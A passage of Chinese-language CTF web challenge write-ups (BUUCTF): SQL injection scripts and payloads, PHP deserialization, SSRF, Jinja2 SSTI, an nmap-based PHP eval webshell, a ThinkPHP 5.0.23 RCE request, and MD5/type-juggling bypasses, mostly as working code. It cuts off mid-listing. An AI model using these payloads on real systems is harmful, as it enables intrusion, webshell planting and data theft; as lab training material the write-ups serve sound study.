12
13
14
15
16
17
18
POST /pay.php HTTP/1.1
Host: 2cc7f575-d809-445a-962a-e022f0804d68.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: CUIT
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Cookie: user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

password=404qwer




内容变化了,多出了这些东西

1
you are Cuiter</br>Password Right!</br>Pay for the flag!!!hacker!!!</br>	

根据提示,money不够,结合注释的提示,post money and password试试加一个money的变量

1
password=404qwer&money=100000001

回显

1
you are Cuiter</br>Password Right!</br>Nember lenth is too long</br>	

看来对传入money的长度有要求,经过测试发现,只要money有值,就会返回lenth is too long,看来需要什么bug才行,把money变成空数组传进去看看会不会有变化

1
password=404qwer&money[]=

成功了,回显了flag

后来查了下资料

传入参数改为数组导致绕过是strcmp的漏洞,money应该是用这个进行比较的

另外也可以不利用弱类型比较,通过以下漏洞来绕过

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!

所以这题在password=404后面加个%00或者%20都可以绕过is_numeric

[CISCN2019 华北赛区 Day2 Web1]Hack World

打开发现是一个sql注入,给了需要的表名和列名,也就是只要找到注入点就行了

fuzz一波,发现以下字符被过滤,且不区分大小写

1
2
3
4
5
6
7
8
9
10
11
"
union
or
and
&
|
#
-
;
*
空格

这里空格可以用%09替代,or可以用^(异或)来替代

payload

1
1^(substr((select%09flag%09from%09flag),1,1)='l')

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function sent_post($url,$postdata){
$postdata = http_build_query($postdata);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' =>$postdata,
'timeout' => 15*60 //超时时间
)
);
$context = stream_context_create($options);
$result = file_get_contents($url,false,$context);
return $result;
}
//使用
for ($pos = 1; $pos < 100; $pos++) {
$fuck =0;
$min = 1;
$max = 200;
$burp = 0;
while(1){
if($min==$max){
$burp = $min;
break;
}
$burp = Dichotomy($min,$max);

// echo $burp."\n";

$post_data = array(
'id' => "1^(ascii(substr((select flag from flag)," . $pos . ",1))>'" . $burp . "')"
);
$a = sent_post('http://e7820438-7723-4678-96c1-ddb5cb2e9bbd.node3.buuoj.cn/', $post_data);
sleep(1);
if (strlen($a) === 311) {
if($max-$min==1){
$burp=$max;
break;
}
$min = $burp+1;
}else{
if($max-$min==1){
$burp=$min;
break;
}
$max = $burp;
}
}
echo chr($burp);
}
function Dichotomy($min,$max){ //默认找大的
if(($min+$max)%2==1){
return ($min+$max-1)/2;
}else{
return ($min+$max)/2;
}
}

[ZJCTF 2019]NiZhuanSiWei

打开网页,是一段源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
1
(file_get_contents($text,'r')==="welcome to the zjctf"

这个条件可以通过使$text=php://input 然后post welcome to the zjctf 来绕过

通过这个条件后,后面还有一个反序列化,但是index.php中没有可利用的pop链,所以应该是include中有利用的代码,include后面提示了useless.php,可利用的pop链应该在那里

先尝试用include加php伪协议,读一波useless.php的内容

payload

1
http://1f30ff15-3eda-4dfb-aaab-c95db3ba240b.node3.buuoj.cn/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

拿到useless.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

index.php有echo $password,可以直接触发__toString,然后对象中的file设为flag.php设置为flag.php,就可以直接读了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
$a->file = "flag.php";
$res = serialize($a);
echo $res;

payload

1
view-source:http://1f30ff15-3eda-4dfb-aaab-c95db3ba240b.node3.buuoj.cn/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

最后右键查看源码,flag在注释里

[BJDCTF2020]Easy MD5

一个输入框,也不知道要输入什么

右键源码没有提示,F12的header中给了一个提示

1
Hint: select * from 'admin' where password=md5($pass,true)

一个sql注入

password ‘’ or 1

password ‘’ or ‘1xxxxxxx’

是等效的

如果我们使password的值为

‘or’1xxxxx

就可以进行绕过

注:x是任意字符,1可以换为任何大于1的数

语法

md5(string,raw)

参数 描述
string 必需。要计算的字符串。
raw 可选。默认不写为FALSE。32位16进制的字符串TRUE。16位原始二进制格式的字符串

当后面的raw为true时,有

1
2
3
4
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

所以当我们填入ffifdyop时,sql语句就会变成

1
select * from 'admin' where password=''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'

然后就可以成功绕过了

填入ffifdyop,右键源码,多出了一句话

1
<script>window.location.replace('./levels91.php')</script>

访问看看这个levels91.php是什么

主页是

1
DO you like md5

右键查看源码

注释中给了源码

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

一个php md5碰撞加若比较

一下值加密后都以0e开头,会被当成数字比较,左右都为0,就可以绕过了

1
2
3
4
5
6
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a

成功,又重定向到levell14.php

给了个源码

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

PHP中md5的函数特性

1
2
md5([1,2,3]) == md5([4,5,6]) == NULL
1

[1] !== [2] && md5([1]) === md5([2])
所以GET传入a[]=1&b[]=2就能够绕过了。

拓展

MD5碰撞

1
2
3
4
>if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
>die("success!);
>}
>123

要求构造param1和param2不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。

1
2
3
>Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
>Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
>12

MD5值相同使用谷歌可以搜到相当多被巧妙构造出的二进制文件,其MD5相同,注意一点,post时一定要urlencode!!!

[网鼎杯 2018]Fakebook

搜集信息

  • 注册

  • 登陆

  • 查看blog //不过因为不能出外网,所以都没有显示出来

  • view.php有no参数,更改后会改变用户,若不存在就会报错

  • blog地址改成127.0.0.1,回显格式不对

  • php版本:PHP/5.6.40

  • 查看http header 没有发现可疑的地方

注册的时候用户名加一个引号 : admin’

发现报错

1
Fatal error: Call to a member function fetch_array() on boolean in /var/www/html/db.php on line 16

百度了一下,这是fetch_array中的sql查询语句错误,而导致函数错误,说明此处应该存在注入点

用户名输入admin’#

回显用户已存在,应该是匹配到admin了

尝试在这里进行bool盲注

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php




function sent_post($url,$postdata){
$postdata = http_build_query($postdata);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' =>$postdata,
'timeout' => 15*60 //超时时间
)
);
$context = stream_context_create($options);
$result = file_get_contents($url,false,$context);
return $result;
}




//使用


for ($pos = 1; $pos < 100; $pos++) {

$fuck =0;
$min = 1;
$max = 200;
$burp = 0;
while(1){
if($min==$max){
$burp = $min;
break;
}
$burp = Dichotomy($min,$max);

// echo $burp."\n";
//3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c3
//select no from users where username='flag' limit 0,1
$post_data = array(
'username' => "a'^(ascii(substr((select table_name from information_schema.tables where table_schema='fakebook')," . $pos . ",1))>'" . $burp . "')#",
'passwd'=> "123",
'age'=>"1",
'blog'=>"www.baidu.com"
);
$a = sent_post('http://c3475d54-7dbe-4d03-b6c1-298f2d113916.node3.buuoj.cn/join.ok.php', $post_data);
sleep(1);



if (strlen($a) === 58) { //填错误的
if($max-$min==1){
$burp=$max;
break;
}
$min = $burp+1;


}else{
if($max-$min==1){
$burp=$min;
break;
}
$max = $burp;

}

}
echo chr($burp);


}





function Dichotomy($min,$max){ //默认找大的

if(($min+$max)%2==1){
return ($min+$max-1)/2;
}else{
return ($min+$max)/2;
}
}

爆库

1
fakebook

爆表

1
users

爆列

1
2
3
4
no
username
passwd
data

爆内容

发现全是自己注册的东西,到这里傻眼了,不知道怎么办

然后看了网上的wp,发现居然要扫目录?!

(buu不是会429吗,为什么还有扫目录这种操作。。。

扫到的有robots.txt user.php.bak

访问下看看

1
2
3
#robots.txt
User-agent: *
Disallow: /user.php.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#user.php.bak
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

很显然,get()方法存在ssrf漏洞,但是由于正常注册的话,有正则过滤,无法ssrf,这时把users表爆出来后可以发现,data列下是包含blog的反序列化,所以我们可以考虑通过反序列化来注入想要的file协议来读取文件,然后访问用户界面时就可以解析出来想要读取的文件,但是又有一个问题随之而来,如何注入这个反序列化字符串呢

可以发现,查看用户信息的url中 no处存在sql注入,所以我们可以通过union select来控制反序列化的变量(虽然不是真正注入进表里,但是可以达到相同的效果)

该处注入有union select 过滤,用union/**/select 来绕过

payload

1
no=-1+union/**/select+1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"g";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

最后把得到的base64解码即可得到flag

1
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tiOWNlYTI1MS04MjJlLTRjOWQtYWNjNy1lMDE5NjdlZjFmY2Z9IjsNCmV4aXQoMCk7DQo='>

[极客大挑战 2019]HardSQL

好眼熟的界面,,,

先fuzz一波,以下被过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
union
sleep
&
|
=
+
*
<
>
任意字符+空格+任意字符
!
ascii
substr

可以用ord加right盲注,但是由于<>被过滤,没法用二分法,而且buu有限制频率,直接用相减等于0来爆实在太慢(没有429的话应该行得通),所以还是考虑报错注入

1
2
3
4
5
6
7
updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)

updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)

updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)

updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)

但是这里只会显示出flag的一部分,也不知道为什么

但是可以用left和right来处理

payload

1
2
3
admin%27or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23

admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23
1
2
不断调整数字 最后可拼出flag
flag{c7fe3d5e-0f97-4dde-bd8f-ff250fe6ed4c}

[强网杯 2019]高明的黑客

题目给了源码,这源码很有意思,文件名,变量名,函数名都是随机字符串

审计起来很是费劲,先考虑偷个懒,用d盾扫一下

发现3006文件中2999个文件都存在可疑后门。。。NB

看来没法偷懒,只能先一个个看,找找规律了

发现很多文件都有eval、system、assert等后门文件

但是很多都是无效后门,比如这种完全不可能执行到的代码

1
2
if('qpnWZOLy7' == 'BLFq_DVGN')
eval($_GET['qpnWZOLy7'] ?? ' ');

但是感觉一个个审过去很费时间,不知道有没有简便的方法

然后上网查了下wp,发现是要自己编写脚本,然后遍历所有的get和post变量,然后找到可用的后门

注意有一个小技巧,不需要每个文件分别用每个文件中找到的变量进行访问,可以把所有变量合并在一起,然后逐个访问所有php文件,这样的效率会高很多

但是这要是万一一个可用的还给你来个waf,怎么检测。。。不过这题倒是没有waf

还有一点,这是buu,访问过快会429,3000多个文件跑完,1s一个来算,要跑一个小时。。。。不建议尝试(当然也可以拖到本地跑脚本)

但是要学会编写对应的脚本,网上的脚本参考一下(本人用go写的,代码太丑就不放了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

[BJDCTF 2nd]fake google

进入题目后,是一个模仿google的搜索页面

随便搜个123,回显

1
P3's girlfirend is : 123

盲猜 一个ssit

右键查看搜索结果的源码,注释有提示

1
<!--ssssssti & a little trick -->

果然,尝试输入2

回显了 2 ,说明有ssti

输入,回显,成功拿到config

1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'sssssssSFSCFAS', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

测试了一下,什么拦截都没有的ssti,直接上payload

1
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")

[GXYCTF2019]BabySQli

登陆错误后,查看源代码给了提示

1
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

base64解码出一堆奇怪的字符

1
0ÆE3¶+‘Ã"ƒ7”ÕStŠ9”EQ0ÆE3¢‰$†éd˜$•„I –<“EA$Õ,RÓp‰!9$Ù(•IVQ5G8òy

看来不是base64解码,不知道到底是啥

看一下header php版本是5.3.29

算了,先不管那个字符串了,先去试试sql

1
name=admin' or 1/*&pw=*/#

回显 dont hack me 显然被过滤了,fuzz一波

用户名有以下过滤,但是密码没有,密码没找到注入点(感觉密码没有入sql查询)

1
2
3
4
or
(
)
=

具有判断用户是否存在的功能,可能这里存在注入点

admin账号存在,可以尝试以admin身份登陆

先尝试用存在功能来盲注

1
select * from table where username = 'admin'^0#

成功,回显wrong pass,那么就可以进行盲注了,但是括号被ban了,那么就尝试利用regexp进行盲注

1
select * from table where username = 'admin' and where password regexp 'burp'#'

然后在burp处爆破即可,但是不知道为什么,暴了几位后就没成功了,估计是出了什么特殊的字符,但是括号被ban,就没法使用ascii等函数,没法尝试键盘上无法输入的字符,然后就没有继续想了

后面想了想,好像可以这么搞,regexp 0x123等,用16进制进行爆破就好了

看了网上的wp,发现可以用union select构造虚拟数据来绕过,比如

1
select * from table where username = "-1" union select 1,"admin","123"

并且有提示密码是经过md5加密的(虽然我也不知道这个是怎么得出来的)

于是在123那里传入任意字符串的MD5就行,然后用你选择的任意字符串当作密码登陆就可以了

[网鼎杯 2020 青龙组]AreUSerialz

这题目一瞅,老反序列化了

盲猜flag在flag.php文件里

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
class FileHandler {

protected $op;
protected $filename;
protected $content;



public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read(); //从这里进入read
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
echo "you get it";
// $res = file_get_contents($this->filename); //读flag.php
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2") //这个就是弱比较漏洞来绕过 不能是“2” ,还要==“2” 2
$this->op = "1";
$this->content = "";
$this->process(); //这里进入process
}

}

payload

1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

[RoarCTF 2019]Easy Java

有一个hint,看了一下url,有点像文件包含

1
http://5dc025b3-3c46-4784-a1c4-afbc37119209.node3.buuoj.cn/Download?filename=help.docx

回显

1
java.io.FileNotFoundException:{help.docx}

burp抓包,换成post方式试试

回显了更多的错误信息

com.Wm.ctf.DownloadController.doPost

用post方法,试着包含一下敏感文件

1
WEB-INF/web.xml

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

尝试直接访问/Flag,失败,报错

根据web.xml,得到源码路径

用文件包含去访问flagController的源码

1
filename=com/wm/ctf/FlagController

然后得到该文件,用jad反编译一下,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3)
// Source File Name: FlagController.java

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.*;

public class FlagController extends HttpServlet
{

public FlagController()
{
flag = "ZmxhZ3s1OGUwZGFiYi03ZDY3LTQ4YzgtODA2NC01YjhhODYwYTdjMTJ9Cg==";
}

protected void doGet(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
throws ServletException, IOException
{
PrintWriter printwriter = httpservletresponse.getWriter();
printwriter.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}

String flag;
}

flag看起来像是base64过的,解码一下,得到flag

1
flag{58e0dabb-7d67-48c8-8064-5b8a860a7c12}

[BUUCTF 2018]Online Tool

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

nmap可以写文件

1
nmap <?php @eval($_POST["hack"]);?> -oG hack.php

escapeshellcmd会把escapeshellarg中对单引号的转义符进行转义,从而使多出来的单引号

1
2
''\'' ?php @eval($_POST["hack"]);?> -oG hack.php '\'''
''\\'' \?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php '\\'''

构造

1
' <?php @eval($_POST["hack"]);?> -oG hack.php '

然后用蚁剑链接,得到flag

[GYCTF2020]Blacklist

呦呵,一个sql注入

给了过滤语句

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

有报错信息

爆数据库

1
-1';show databases#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<hr>array(1) {
[0]=>
string(11) "ctftraining"
}
<br>array(1) {
[0]=>
string(18) "information_schema"
}
<br>array(1) {
[0]=>
string(5) "mysql"
}
<br>array(1) {
[0]=>
string(18) "performance_schema"
}
<br>array(1) {
[0]=>
string(9) "supersqli"
}
<br>array(1) {
[0]=>
string(4) "test"
}

可疑的有这三个

1
test ctftraining supersqli

先爆一下当前数据库的表

1
2
3
4
5
6
7
8
<hr>array(1) {
[0]=>
string(8) "FlagHere"
}
<br>array(1) {
[0]=>
string(5) "words"
}

好的,那应该就是FlagHere的表了

爆列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

这次过滤了update和alter,就无法像随便注那样改表结构了

需要补充一个小trick

Handler查询

Handler是Mysql特有的轻量级查询语句,并未出现在SQL标准中,所以SQL Server等是没有Handler查询的。

Handler查询的用法:

handler table1 open as fuck;//打开句柄

handler fuck read first;//读所有字段第一条

handler fuck read next;//读所有字段下一条

构造payload

1
-1'%3bhandler+FlagHere+open+as+flag;handler+flag+read+first%23

[MRCTF2020]你传你🐎呢

传一个png,加一个.htaccess,直接rce,没啥好说的

[GKCTF2020]cve版签到

页面显示just view *.ctfhub.com

根据给的cve,构造payload

1
http://127.0.0.1%00.ctfhub.com

回显提示

1
host要以123结尾

改payload为

1
http://127.0.0.123%00.ctfhub.com

即可得到flag

[BJDCTF 2nd]old-hack、

header中有这两个信息

PHP/5.6.40

THINKPHP5

源码中未找到有效信息

发现后面加任何路径都是首页

尝试去找找这个版本的thinkphp有什么洞

搜到几个payload

1
?s=index/thinkRequest/input&filter[]=system&data=pwd

回显了控制器不存在等报错信息

并且得到许多敏感信息,如具体版本

1
5.0.23

找到一个能用的rce payload

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: f2954812-8cb9-433d-8d85-5607dede4bd6.node3.buuoj.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

[MRCTF2020]Ez_bypass

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
